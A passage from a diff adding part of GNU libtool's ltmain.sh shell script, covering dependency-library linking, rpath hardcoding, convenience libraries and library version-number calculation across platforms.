+	    func_warning "library \`$lib' was moved."
+	    dir="$ladir"
+	    absdir="$abs_ladir"
+	    libdir="$abs_ladir"
+	  else
+	    dir="$libdir"
+	    absdir="$libdir"
+	  fi
+	  test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
+	else
+	  if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then
+	    dir="$ladir"
+	    absdir="$abs_ladir"
+	    # Remove this search path later
+	    notinst_path="$notinst_path $abs_ladir"
+	  else
+	    dir="$ladir/$objdir"
+	    absdir="$abs_ladir/$objdir"
+	    # Remove this search path later
+	    notinst_path="$notinst_path $abs_ladir"
+	  fi
+	fi # $installed = yes
+	func_stripname 'lib' '.la' "$laname"
+	name=$func_stripname_result
+
+	# This library was specified with -dlpreopen.
+	if test "$pass" = dlpreopen; then
+	  if test -z "$libdir" && test "$linkmode" = prog; then
+	    func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'"
+	  fi
+	  # Prefer using a static library (so that no silly _DYNAMIC symbols
+	  # are required to link).
+	  if test -n "$old_library"; then
+	    newdlprefiles="$newdlprefiles $dir/$old_library"
+	    # Keep a list of preopened convenience libraries to check
+	    # that they are being used correctly in the link pass.
+	    test -z "$libdir" && \
+		dlpreconveniencelibs="$dlpreconveniencelibs $dir/$old_library"
+	  # Otherwise, use the dlname, so that lt_dlopen finds it.
+	  elif test -n "$dlname"; then
+	    newdlprefiles="$newdlprefiles $dir/$dlname"
+	  else
+	    newdlprefiles="$newdlprefiles $dir/$linklib"
+	  fi
+	fi # $pass = dlpreopen
+
+	if test -z "$libdir"; then
+	  # Link the convenience library
+	  if test "$linkmode" = lib; then
+	    deplibs="$dir/$old_library $deplibs"
+	  elif test "$linkmode,$pass" = "prog,link"; then
+	    compile_deplibs="$dir/$old_library $compile_deplibs"
+	    finalize_deplibs="$dir/$old_library $finalize_deplibs"
+	  else
+	    deplibs="$lib $deplibs" # used for prog,scan pass
+	  fi
+	  continue
+	fi
+
+
+	if test "$linkmode" = prog && test "$pass" != link; then
+	  newlib_search_path="$newlib_search_path $ladir"
+	  deplibs="$lib $deplibs"
+
+	  linkalldeplibs=no
+	  if test "$link_all_deplibs" != no || test -z "$library_names" ||
+	     test "$build_libtool_libs" = no; then
+	    linkalldeplibs=yes
+	  fi
+
+	  tmp_libs=
+	  for deplib in $dependency_libs; do
+	    case $deplib in
+	    -L*) func_stripname '-L' '' "$deplib"
+	         newlib_search_path="$newlib_search_path $func_stripname_result"
+		 ;;
+	    esac
+	    # Need to link against all dependency_libs?
+	    if test "$linkalldeplibs" = yes; then
+	      deplibs="$deplib $deplibs"
+	    else
+	      # Need to hardcode shared library paths
+	      # or/and link against static libraries
+	      newdependency_libs="$deplib $newdependency_libs"
+	    fi
+	    if $opt_duplicate_deps ; then
+	      case "$tmp_libs " in
+	      *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
+	      esac
+	    fi
+	    tmp_libs="$tmp_libs $deplib"
+	  done # for deplib
+	  continue
+	fi # $linkmode = prog...
+
+	if test "$linkmode,$pass" = "prog,link"; then
+	  if test -n "$library_names" &&
+	     { test "$prefer_static_libs" = no || test -z "$old_library"; }; then
+	    # We need to hardcode the library path
+	    if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then
+	      # Make sure the rpath contains only unique directories.
+	      case "$temp_rpath " in
+	      *"$absdir:"*) ;;
+	      *) temp_rpath="$temp_rpath$absdir:" ;;
+	      esac
+	    fi
+
+	    # Hardcode the library path.
+	    # Skip directories that are in the system default run-time
+	    # search path.
+	    case " $sys_lib_dlsearch_path " in
+	    *" $absdir "*) ;;
+	    *)
+	      case "$compile_rpath " in
+	      *" $absdir "*) ;;
+	      *) compile_rpath="$compile_rpath $absdir"
+	      esac
+	      ;;
+	    esac
+	    case " $sys_lib_dlsearch_path " in
+	    *" $libdir "*) ;;
+	    *)
+	      case "$finalize_rpath " in
+	      *" $libdir "*) ;;
+	      *) finalize_rpath="$finalize_rpath $libdir"
+	      esac
+	      ;;
+	    esac
+	  fi # $linkmode,$pass = prog,link...
+
+	  if test "$alldeplibs" = yes &&
+	     { test "$deplibs_check_method" = pass_all ||
+	       { test "$build_libtool_libs" = yes &&
+		 test -n "$library_names"; }; }; then
+	    # We only need to search for static libraries
+	    continue
+	  fi
+	fi
+
+	link_static=no # Whether the deplib will be linked statically
+	use_static_libs=$prefer_static_libs
+	if test "$use_static_libs" = built && test "$installed" = yes; then
+	  use_static_libs=no
+	fi
+	if test -n "$library_names" &&
+	   { test "$use_static_libs" = no || test -z "$old_library"; }; then
+	  case $host in
+	  *cygwin* | *mingw*)
+	      # No point in relinking DLLs because paths are not encoded
+	      notinst_deplibs="$notinst_deplibs $lib"
+	      need_relink=no
+	    ;;
+	  *)
+	    if test "$installed" = no; then
+	      notinst_deplibs="$notinst_deplibs $lib"
+	      need_relink=yes
+	    fi
+	    ;;
+	  esac
+	  # This is a shared library
+
+	  # Warn about portability, can't link against -module's on some
+	  # systems (darwin).  Don't bleat about dlopened modules though!
+	  dlopenmodule=""
+	  for dlpremoduletest in $dlprefiles; do
+	    if test "X$dlpremoduletest" = "X$lib"; then
+	      dlopenmodule="$dlpremoduletest"
+	      break
+	    fi
+	  done
+	  if test -z "$dlopenmodule" && test "$shouldnotlink" = yes && test "$pass" = link; then
+	    $ECHO
+	    if test "$linkmode" = prog; then
+	      $ECHO "*** Warning: Linking the executable $output against the loadable module"
+	    else
+	      $ECHO "*** Warning: Linking the shared library $output against the loadable module"
+	    fi
+	    $ECHO "*** $linklib is not portable!"
+	  fi
+	  if test "$linkmode" = lib &&
+	     test "$hardcode_into_libs" = yes; then
+	    # Hardcode the library path.
+	    # Skip directories that are in the system default run-time
+	    # search path.
+	    case " $sys_lib_dlsearch_path " in
+	    *" $absdir "*) ;;
+	    *)
+	      case "$compile_rpath " in
+	      *" $absdir "*) ;;
+	      *) compile_rpath="$compile_rpath $absdir"
+	      esac
+	      ;;
+	    esac
+	    case " $sys_lib_dlsearch_path " in
+	    *" $libdir "*) ;;
+	    *)
+	      case "$finalize_rpath " in
+	      *" $libdir "*) ;;
+	      *) finalize_rpath="$finalize_rpath $libdir"
+	      esac
+	      ;;
+	    esac
+	  fi
+
+	  if test -n "$old_archive_from_expsyms_cmds"; then
+	    # figure out the soname
+	    set dummy $library_names
+	    shift
+	    realname="$1"
+	    shift
+	    libname=`eval "\\$ECHO \"$libname_spec\""`
+	    # use dlname if we got it. it's perfectly good, no?
+	    if test -n "$dlname"; then
+	      soname="$dlname"
+	    elif test -n "$soname_spec"; then
+	      # bleh windows
+	      case $host in
+	      *cygwin* | mingw*)
+		major=`expr $current - $age`
+		versuffix="-$major"
+		;;
+	      esac
+	      eval soname=\"$soname_spec\"
+	    else
+	      soname="$realname"
+	    fi
+
+	    # Make a new name for the extract_expsyms_cmds to use
+	    soroot="$soname"
+	    func_basename "$soroot"
+	    soname="$func_basename_result"
+	    func_stripname 'lib' '.dll' "$soname"
+	    newlib=libimp-$func_stripname_result.a
+
+	    # If the library has no export list, then create one now
+	    if test -f "$output_objdir/$soname-def"; then :
+	    else
+	      func_echo "extracting exported symbol list from \`$soname'"
+	      func_execute_cmds "$extract_expsyms_cmds" 'exit $?'
+	    fi
+
+	    # Create $newlib
+	    if test -f "$output_objdir/$newlib"; then :; else
+	      func_echo "generating import library for \`$soname'"
+	      func_execute_cmds "$old_archive_from_expsyms_cmds" 'exit $?'
+	    fi
+	    # make sure the library variables are pointing to the new library
+	    dir=$output_objdir
+	    linklib=$newlib
+	  fi # test -n "$old_archive_from_expsyms_cmds"
+
+	  if test "$linkmode" = prog || test "$mode" != relink; then
+	    add_shlibpath=
+	    add_dir=
+	    add=
+	    lib_linked=yes
+	    case $hardcode_action in
+	    immediate | unsupported)
+	      if test "$hardcode_direct" = no; then
+		add="$dir/$linklib"
+		case $host in
+		  *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;;
+		  *-*-sysv4*uw2*) add_dir="-L$dir" ;;
+		  *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \
+		    *-*-unixware7*) add_dir="-L$dir" ;;
+		  *-*-darwin* )
+		    # if the lib is a (non-dlopened) module then we can not
+		    # link against it, someone is ignoring the earlier warnings
+		    if /usr/bin/file -L $add 2> /dev/null |
+			 $GREP ": [^:]* bundle" >/dev/null ; then
+		      if test "X$dlopenmodule" != "X$lib"; then
+			$ECHO "*** Warning: lib $linklib is a module, not a shared library"
+			if test -z "$old_library" ; then
+			  $ECHO
+			  $ECHO "*** And there doesn't seem to be a static archive available"
+			  $ECHO "*** The link will probably fail, sorry"
+			else
+			  add="$dir/$old_library"
+			fi
+		      elif test -n "$old_library"; then
+			add="$dir/$old_library"
+		      fi
+		    fi
+		esac
+	      elif test "$hardcode_minus_L" = no; then
+		case $host in
+		*-*-sunos*) add_shlibpath="$dir" ;;
+		esac
+		add_dir="-L$dir"
+		add="-l$name"
+	      elif test "$hardcode_shlibpath_var" = no; then
+		add_shlibpath="$dir"
+		add="-l$name"
+	      else
+		lib_linked=no
+	      fi
+	      ;;
+	    relink)
+	      if test "$hardcode_direct" = yes; then
+		add="$dir/$linklib"
+	      elif test "$hardcode_minus_L" = yes; then
+		add_dir="-L$dir"
+		# Try looking first in the location we're being installed to.
+		if test -n "$inst_prefix_dir"; then
+		  case $libdir in
+		    [\\/]*)
+		      add_dir="$add_dir -L$inst_prefix_dir$libdir"
+		      ;;
+		  esac
+		fi
+		add="-l$name"
+	      elif test "$hardcode_shlibpath_var" = yes; then
+		add_shlibpath="$dir"
+		add="-l$name"
+	      else
+		lib_linked=no
+	      fi
+	      ;;
+	    *) lib_linked=no ;;
+	    esac
+
+	    if test "$lib_linked" != yes; then
+	      func_fatal_configuration "unsupported hardcode properties"
+	    fi
+
+	    if test -n "$add_shlibpath"; then
+	      case :$compile_shlibpath: in
+	      *":$add_shlibpath:"*) ;;
+	      *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
+	      esac
+	    fi
+	    if test "$linkmode" = prog; then
+	      test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs"
+	      test -n "$add" && compile_deplibs="$add $compile_deplibs"
+	    else
+	      test -n "$add_dir" && deplibs="$add_dir $deplibs"
+	      test -n "$add" && deplibs="$add $deplibs"
+	      if test "$hardcode_direct" != yes &&
+		 test "$hardcode_minus_L" != yes &&
+		 test "$hardcode_shlibpath_var" = yes; then
+		case :$finalize_shlibpath: in
+		*":$libdir:"*) ;;
+		*) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
+		esac
+	      fi
+	    fi
+	  fi
+
+	  if test "$linkmode" = prog || test "$mode" = relink; then
+	    add_shlibpath=
+	    add_dir=
+	    add=
+	    # Finalize command for both is simple: just hardcode it.
+	    if test "$hardcode_direct" = yes; then
+	      add="$libdir/$linklib"
+	    elif test "$hardcode_minus_L" = yes; then
+	      add_dir="-L$libdir"
+	      add="-l$name"
+	    elif test "$hardcode_shlibpath_var" = yes; then
+	      case :$finalize_shlibpath: in
+	      *":$libdir:"*) ;;
+	      *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
+	      esac
+	      add="-l$name"
+	    elif test "$hardcode_automatic" = yes; then
+	      if test -n "$inst_prefix_dir" &&
+		 test -f "$inst_prefix_dir$libdir/$linklib" ; then
+		add="$inst_prefix_dir$libdir/$linklib"
+	      else
+		add="$libdir/$linklib"
+	      fi
+	    else
+	      # We cannot seem to hardcode it, guess we'll fake it.
+	      add_dir="-L$libdir"
+	      # Try looking first in the location we're being installed to.
+	      if test -n "$inst_prefix_dir"; then
+		case $libdir in
+		  [\\/]*)
+		    add_dir="$add_dir -L$inst_prefix_dir$libdir"
+		    ;;
+		esac
+	      fi
+	      add="-l$name"
+	    fi
+
+	    if test "$linkmode" = prog; then
+	      test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs"
+	      test -n "$add" && finalize_deplibs="$add $finalize_deplibs"
+	    else
+	      test -n "$add_dir" && deplibs="$add_dir $deplibs"
+	      test -n "$add" && deplibs="$add $deplibs"
+	    fi
+	  fi
+	elif test "$linkmode" = prog; then
+	  # Here we assume that one of hardcode_direct or hardcode_minus_L
+	  # is not unsupported.  This is valid on all known static and
+	  # shared platforms.
+	  if test "$hardcode_direct" != unsupported; then
+	    test -n "$old_library" && linklib="$old_library"
+	    compile_deplibs="$dir/$linklib $compile_deplibs"
+	    finalize_deplibs="$dir/$linklib $finalize_deplibs"
+	  else
+	    compile_deplibs="-l$name -L$dir $compile_deplibs"
+	    finalize_deplibs="-l$name -L$dir $finalize_deplibs"
+	  fi
+	elif test "$build_libtool_libs" = yes; then
+	  # Not a shared library
+	  if test "$deplibs_check_method" != pass_all; then
+	    # We're trying link a shared library against a static one
+	    # but the system doesn't support it.
+
+	    # Just print a warning and add the library to dependency_libs so
+	    # that the program can be linked against the static library.
+	    $ECHO
+	    $ECHO "*** Warning: This system can not link to static lib archive $lib."
+	    $ECHO "*** I have the capability to make that library automatically link in when"
+	    $ECHO "*** you link to this library.  But I can only do this if you have a"
+	    $ECHO "*** shared version of the library, which you do not appear to have."
+	    if test "$module" = yes; then
+	      $ECHO "*** But as you try to build a module library, libtool will still create "
+	      $ECHO "*** a static module, that should work as long as the dlopening application"
+	      $ECHO "*** is linked with the -dlopen flag to resolve symbols at runtime."
+	      if test -z "$global_symbol_pipe"; then
+		$ECHO
+		$ECHO "*** However, this would only work if libtool was able to extract symbol"
+		$ECHO "*** lists from a program, using \`nm' or equivalent, but libtool could"
+		$ECHO "*** not find such a program.  So, this module is probably useless."
+		$ECHO "*** \`nm' from GNU binutils and a full rebuild may help."
+	      fi
+	      if test "$build_old_libs" = no; then
+		build_libtool_libs=module
+		build_old_libs=yes
+	      else
+		build_libtool_libs=no
+	      fi
+	    fi
+	  else
+	    deplibs="$dir/$old_library $deplibs"
+	    link_static=yes
+	  fi
+	fi # link shared/static library?
+
+	if test "$linkmode" = lib; then
+	  if test -n "$dependency_libs" &&
+	     { test "$hardcode_into_libs" != yes ||
+	       test "$build_old_libs" = yes ||
+	       test "$link_static" = yes; }; then
+	    # Extract -R from dependency_libs
+	    temp_deplibs=
+	    for libdir in $dependency_libs; do
+	      case $libdir in
+	      -R*) func_stripname '-R' '' "$libdir"
+	           temp_xrpath=$func_stripname_result
+		   case " $xrpath " in
+		   *" $temp_xrpath "*) ;;
+		   *) xrpath="$xrpath $temp_xrpath";;
+		   esac;;
+	      *) temp_deplibs="$temp_deplibs $libdir";;
+	      esac
+	    done
+	    dependency_libs="$temp_deplibs"
+	  fi
+
+	  newlib_search_path="$newlib_search_path $absdir"
+	  # Link against this library
+	  test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
+	  # ... and its dependency_libs
+	  tmp_libs=
+	  for deplib in $dependency_libs; do
+	    newdependency_libs="$deplib $newdependency_libs"
+	    if $opt_duplicate_deps ; then
+	      case "$tmp_libs " in
+	      *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
+	      esac
+	    fi
+	    tmp_libs="$tmp_libs $deplib"
+	  done
+
+	  if test "$link_all_deplibs" != no; then
+	    # Add the search paths of all dependency libraries
+	    for deplib in $dependency_libs; do
+	      case $deplib in
+	      -L*) path="$deplib" ;;
+	      *.la)
+	        func_dirname "$deplib" "" "."
+		dir="$func_dirname_result"
+		# We need an absolute path.
+		case $dir in
+		[\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
+		*)
+		  absdir=`cd "$dir" && pwd`
+		  if test -z "$absdir"; then
+		    func_warning "cannot determine absolute directory name of \`$dir'"
+		    absdir="$dir"
+		  fi
+		  ;;
+		esac
+		if $GREP "^installed=no" $deplib > /dev/null; then
+		case $host in
+		*-*-darwin*)
+		  depdepl=
+		  eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
+		  if test -n "$deplibrary_names" ; then
+		    for tmp in $deplibrary_names ; do
+		      depdepl=$tmp
+		    done
+		    if test -f "$absdir/$objdir/$depdepl" ; then
+		      depdepl="$absdir/$objdir/$depdepl"
+		      darwin_install_name=`otool -L $depdepl | $SED -n -e '3q;2,2p' | $SED -e 's/(.*//'`
+		      darwin_install_name=`$ECHO $darwin_install_name`
+		      compiler_flags="$compiler_flags ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
+		      linker_flags="$linker_flags -dylib_file ${darwin_install_name}:${depdepl}"
+		      path=
+		    fi
+		  fi
+		  ;;
+		*)
+		  path="-L$absdir/$objdir"
+		  ;;
+		esac
+		else
+		  eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
+		  test -z "$libdir" && \
+		    func_fatal_error "\`$deplib' is not a valid libtool archive"
+		  test "$absdir" != "$libdir" && \
+		    func_warning "\`$deplib' seems to be moved"
+
+		  path="-L$absdir"
+		fi
+		;;
+	      esac
+	      case " $deplibs " in
+	      *" $path "*) ;;
+	      *) deplibs="$path $deplibs" ;;
+	      esac
+	    done
+	  fi # link_all_deplibs != no
+	fi # linkmode = lib
+      done # for deplib in $libs
+      dependency_libs="$newdependency_libs"
+      if test "$pass" = dlpreopen; then
+	# Link the dlpreopened libraries before other libraries
+	for deplib in $save_deplibs; do
+	  deplibs="$deplib $deplibs"
+	done
+      fi
+      if test "$pass" != dlopen; then
+	if test "$pass" != conv; then
+	  # Make sure lib_search_path contains only unique directories.
+	  lib_search_path=
+	  for dir in $newlib_search_path; do
+	    case "$lib_search_path " in
+	    *" $dir "*) ;;
+	    *) lib_search_path="$lib_search_path $dir" ;;
+	    esac
+	  done
+	  newlib_search_path=
+	fi
+
+	if test "$linkmode,$pass" != "prog,link"; then
+	  vars="deplibs"
+	else
+	  vars="compile_deplibs finalize_deplibs"
+	fi
+	for var in $vars dependency_libs; do
+	  # Add libraries to $var in reverse order
+	  eval tmp_libs=\"\$$var\"
+	  new_libs=
+	  for deplib in $tmp_libs; do
+	    # FIXME: Pedantically, this is the right thing to do, so
+	    #        that some nasty dependency loop isn't accidentally
+	    #        broken:
+	    #new_libs="$deplib $new_libs"
+	    # Pragmatically, this seems to cause very few problems in
+	    # practice:
+	    case $deplib in
+	    -L*) new_libs="$deplib $new_libs" ;;
+	    -R*) ;;
+	    *)
+	      # And here is the reason: when a library appears more
+	      # than once as an explicit dependence of a library, or
+	      # is implicitly linked in more than once by the
+	      # compiler, it is considered special, and multiple
+	      # occurrences thereof are not removed.  Compare this
+	      # with having the same library being listed as a
+	      # dependency of multiple other libraries: in this case,
+	      # we know (pedantically, we assume) the library does not
+	      # need to be listed more than once, so we keep only the
+	      # last copy.  This is not always right, but it is rare
+	      # enough that we require users that really mean to play
+	      # such unportable linking tricks to link the library
+	      # using -Wl,-lname, so that libtool does not consider it
+	      # for duplicate removal.
+	      case " $specialdeplibs " in
+	      *" $deplib "*) new_libs="$deplib $new_libs" ;;
+	      *)
+		case " $new_libs " in
+		*" $deplib "*) ;;
+		*) new_libs="$deplib $new_libs" ;;
+		esac
+		;;
+	      esac
+	      ;;
+	    esac
+	  done
+	  tmp_libs=
+	  for deplib in $new_libs; do
+	    case $deplib in
+	    -L*)
+	      case " $tmp_libs " in
+	      *" $deplib "*) ;;
+	      *) tmp_libs="$tmp_libs $deplib" ;;
+	      esac
+	      ;;
+	    *) tmp_libs="$tmp_libs $deplib" ;;
+	    esac
+	  done
+	  eval $var=\"$tmp_libs\"
+	done # for var
+      fi
+      # Last step: remove runtime libs from dependency_libs
+      # (they stay in deplibs)
+      tmp_libs=
+      for i in $dependency_libs ; do
+	case " $predeps $postdeps $compiler_lib_search_path " in
+	*" $i "*)
+	  i=""
+	  ;;
+	esac
+	if test -n "$i" ; then
+	  tmp_libs="$tmp_libs $i"
+	fi
+      done
+      dependency_libs=$tmp_libs
+    done # for pass
+    if test "$linkmode" = prog; then
+      dlfiles="$newdlfiles"
+    fi
+    if test "$linkmode" = prog || test "$linkmode" = lib; then
+      dlprefiles="$newdlprefiles"
+    fi
+
+    case $linkmode in
+    oldlib)
+      if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
+	func_warning "\`-dlopen' is ignored for archives"
+      fi
+
+      test -n "$deplibs" && \
+	func_warning "\`-l' and \`-L' are ignored for archives"
+
+
+      test -n "$rpath" && \
+	func_warning "\`-rpath' is ignored for archives"
+
+      test -n "$xrpath" && \
+	func_warning "\`-R' is ignored for archives"
+
+      test -n "$vinfo" && \
+	func_warning "\`-version-info/-version-number' is ignored for archives"
+
+      test -n "$release" && \
+	func_warning "\`-release' is ignored for archives"
+
+      test -n "$export_symbols$export_symbols_regex" && \
+	func_warning "\`-export-symbols' is ignored for archives"
+
+      # Now set the variables for building old libraries.
+      build_libtool_libs=no
+      oldlibs="$output"
+      objs="$objs$old_deplibs"
+      ;;
+
+    lib)
+      # Make sure we only generate libraries of the form `libNAME.la'.
+      case $outputname in
+      lib*)
+	func_stripname 'lib' '.la' "$outputname"
+	name=$func_stripname_result
+	eval shared_ext=\"$shrext_cmds\"
+	eval libname=\"$libname_spec\"
+	;;
+      *)
+	test "$module" = no && \
+	  func_fatal_help "libtool library \`$output' must begin with \`lib'"
+
+	if test "$need_lib_prefix" != no; then
+	  # Add the "lib" prefix for modules if required
+	  func_stripname '' '.la' "$outputname"
+	  name=$func_stripname_result
+	  eval shared_ext=\"$shrext_cmds\"
+	  eval libname=\"$libname_spec\"
+	else
+	  func_stripname '' '.la' "$outputname"
+	  libname=$func_stripname_result
+	fi
+	;;
+      esac
+
+      if test -n "$objs"; then
+	if test "$deplibs_check_method" != pass_all; then
+	  func_fatal_error "cannot build libtool library \`$output' from non-libtool objects on this host:$objs"
+	else
+	  $ECHO
+	  $ECHO "*** Warning: Linking the shared library $output against the non-libtool"
+	  $ECHO "*** objects $objs is not portable!"
+	  libobjs="$libobjs $objs"
+	fi
+      fi
+
+      test "$dlself" != no && \
+	func_warning "\`-dlopen self' is ignored for libtool libraries"
+
+      set dummy $rpath
+      shift
+      test "$#" -gt 1 && \
+	func_warning "ignoring multiple \`-rpath's for a libtool library"
+
+      install_libdir="$1"
+
+      oldlibs=
+      if test -z "$rpath"; then
+	if test "$build_libtool_libs" = yes; then
+	  # Building a libtool convenience library.
+	  # Some compilers have problems with a `.al' extension so
+	  # convenience libraries should have the same extension an
+	  # archive normally would.
+	  oldlibs="$output_objdir/$libname.$libext $oldlibs"
+	  build_libtool_libs=convenience
+	  build_old_libs=yes
+	fi
+
+	test -n "$vinfo" && \
+	  func_warning "\`-version-info/-version-number' is ignored for convenience libraries"
+
+	test -n "$release" && \
+	  func_warning "\`-release' is ignored for convenience libraries"
+      else
+
+	# Parse the version information argument.
+	save_ifs="$IFS"; IFS=':'
+	set dummy $vinfo 0 0 0
+	shift
+	IFS="$save_ifs"
+
+	test -n "$7" && \
+	  func_fatal_help "too many parameters to \`-version-info'"
+
+	# convert absolute version numbers to libtool ages
+	# this retains compatibility with .la files and attempts
+	# to make the code below a bit more comprehensible
+
+	case $vinfo_number in
+	yes)
+	  number_major="$1"
+	  number_minor="$2"
+	  number_revision="$3"
+	  #
+	  # There are really only two kinds -- those that
+	  # use the current revision as the major version
+	  # and those that subtract age and use age as
+	  # a minor version.  But, then there is irix
+	  # which has an extra 1 added just for fun
+	  #
+	  case $version_type in
+	  darwin|linux|osf|windows)
+	    current=`expr $number_major + $number_minor`
+	    age="$number_minor"
+	    revision="$number_revision"
+	    ;;
+	  freebsd-aout|freebsd-elf|sunos)
+	    current="$number_major"
+	    revision="$number_minor"
+	    age="0"
+	    ;;
+	  irix|nonstopux)
+	    current=`expr $number_major + $number_minor - 1`
+	    age="$number_minor"
+	    revision="$number_minor"
+	    ;;
+	  esac
+	  ;;
+	no)
+	  current="$1"
+	  revision="$2"
+	  age="$3"
+	  ;;
+	esac
+
+	# Check that each of the things are valid numbers.
+	case $current in
+	0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
+	*)
+	  func_error "CURRENT \`$current' must be a nonnegative integer"
+	  func_fatal_error "\`$vinfo' is not valid version information"
+	  ;;
+	esac
+
+	case $revision in
+	0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
+	*)
+	  func_error "REVISION \`$revision' must be a nonnegative integer"
+	  func_fatal_error "\`$vinfo' is not valid version information"
+	  ;;
+	esac
+
+	case $age in
+	0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
+	*)
+	  func_error "AGE \`$age' must be a nonnegative integer"
+	  func_fatal_error "\`$vinfo' is not valid version information"
+	  ;;
+	esac
+
+	if test "$age" -gt "$current"; then
+	  func_error "AGE \`$age' is greater than the current interface number \`$current'"
+	  func_fatal_error "\`$vinfo' is not valid version information"
+	fi
+
+	# Calculate the version variables.
+	major=
+	versuffix=
+	verstring=
+	case $version_type in
+	none) ;;
+
+	darwin)
+	  # Like Linux, but with the current version available in
+	  # verstring for coding it into the library header
+	  major=.`expr $current - $age`
+	  versuffix="$major.$age.$revision"
+	  # Darwin ld doesn't like 0 for these options...
+	  minor_current=`expr $current + 1`
+	  verstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision"
+	  ;;
+
+	freebsd-aout)
+	  major=".$current"
+	  versuffix=".$current.$revision";
+	  ;;
+
+	freebsd-elf)
+	  major=".$current"
+	  versuffix=".$current"
+	  ;;
+
+	irix | nonstopux)
+	  major=`expr $current - $age + 1`
+
+	  case $version_type in
+	    nonstopux) verstring_prefix=nonstopux ;;
+	    *)         verstring_prefix=sgi ;;
+	  esac
+	  verstring="$verstring_prefix$major.$revision"
+
+	  # Add in all the interfaces that we are compatible with.
+	  loop=$revision
+	  while test "$loop" -ne 0; do
+	    iface=`expr $revision - $loop`
+	    loop=`expr $loop - 1`
+	    verstring="$verstring_prefix$major.$iface:$verstring"
+	  done
+
+	  # Before this point, $major must not contain `.'.
+	  major=.$major
+	  versuffix="$major.$revision"
+	  ;;
+
+	linux)
+	  major=.`expr $current - $age`
+	  versuffix="$major.$age.$revision"
+	  ;;
+
+	osf)
+	  major=.`expr $current - $age`
+	  versuffix=".$current.$age.$revision"
+	  verstring="$current.$age.$revision"
+
+	  # Add in all the interfaces that we are compatible with.
+	  loop=$age
+	  while test "$loop" -ne 0; do
+	    iface=`expr $current - $loop`
+	    loop=`expr $loop - 1`
+	    verstring="$verstring:${iface}.0"
+	  done
+
+	  # Make executables depend on our current version.
+	  verstring="$verstring:${current}.0"
+	  ;;
+
+	qnx)
+	  major=".$current"
+	  versuffix=".$current"
+	  ;;
+
+	sunos)
+	  major=".$current"
+	  versuffix=".$current.$revision"
+	  ;;
+
+	windows)
+	  # Use '-' rather than '.', since we only want one
+	  # extension on DOS 8.3 filesystems.
+	  major=`expr $current - $age`
+	  versuffix="-$major"
+	  ;;
+
+	*)
+	  func_fatal_configuration "unknown library version type \`$version_type'"
+	  ;;
+	esac
+
+	# Clear the version info if we defaulted, and they specified a release.
+	if test -z "$vinfo" && test -n "$release"; then
+	  major=
+	  case $version_type in
+	  darwin)
+	    # we can't check for "0.0" in archive_cmds due to quoting
+	    # problems, so we reset it completely
+	    verstring=
+	    ;;
+	  *)
+	    verstring="0.0"
+	    ;;
+	  esac
+	  if test "$need_version" = no; then
+	    versuffix=
+	  else
+	    versuffix=".0.0"
+	  fi
+	fi
+
+	# Remove version info from name if versioning should be avoided
+	if test "$avoid_version" = yes && test "$need_version" = no; then
+	  major=
+	  versuffix=
+	  verstring=""
+	fi
+
+	# Check to see if the archive will have undefined symbols.
+	if test "$allow_undefined" = yes; then
+	  if test "$allow_undefined_flag" = unsupported; then
+	    func_warning "undefined symbols not allowed in $host shared libraries"
+	    build_libtool_libs=no
+	    build_old_libs=yes
+	  fi
+	else
+	  # Don't allow undefined symbols.
+	  allow_undefined_flag="$no_undefined_flag"
+	fi
+
+      fi
+
+      func_generate_dlsyms "$libname" "$libname" "yes"
+      libobjs="$libobjs $symfileobj"
+
+      if test "$mode" != relink; then
+	# Remove our outputs, but don't remove object files since they
+	# may have been created when compiling PIC objects.
+	removelist=
+	tempremovelist=`$ECHO "$output_objdir/*"`
+	for p in $tempremovelist; do
+	  case $p in
+	    *.$objext)
+	       ;;
+	    $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*)
+	       if test "X$precious_files_regex" != "X"; then
+		 if $ECHO "$p" | $EGREP -e "$precious_files_regex" >/dev/null 2>&1
+		 then
+		   continue
+		 fi
+	       fi
+	       removelist="$removelist $p"
+	       ;;
+	    *) ;;
+	  esac
+	done
+	test -n "$removelist" && \
+	  func_show_eval "${RM}r \$removelist"
+      fi
+
+      # Now set the variables for building old libraries.
+      if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
+	oldlibs="$oldlibs $output_objdir/$libname.$libext"
+
+	# Transform .lo files to .o files.
+	oldobjs="$objs "`$ECHO "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP`
+      fi
+
+      # Eliminate all temporary directories.
+      for path in $notinst_path; do
+	lib_search_path=`$ECHO "X$lib_search_path " | $Xsed -e 's% $path % %g'`
+	deplibs=`$ECHO "X$deplibs " | $Xsed -e 's% -L$path % %g'`
+	dependency_libs=`$ECHO "X$dependency_libs " | $Xsed -e 's% -L$path % %g'`
+      done
+
+      if test -n "$xrpath"; then
+	# If the user specified any rpath flags, then add them.
+	temp_xrpath=
+	for libdir in $xrpath; do
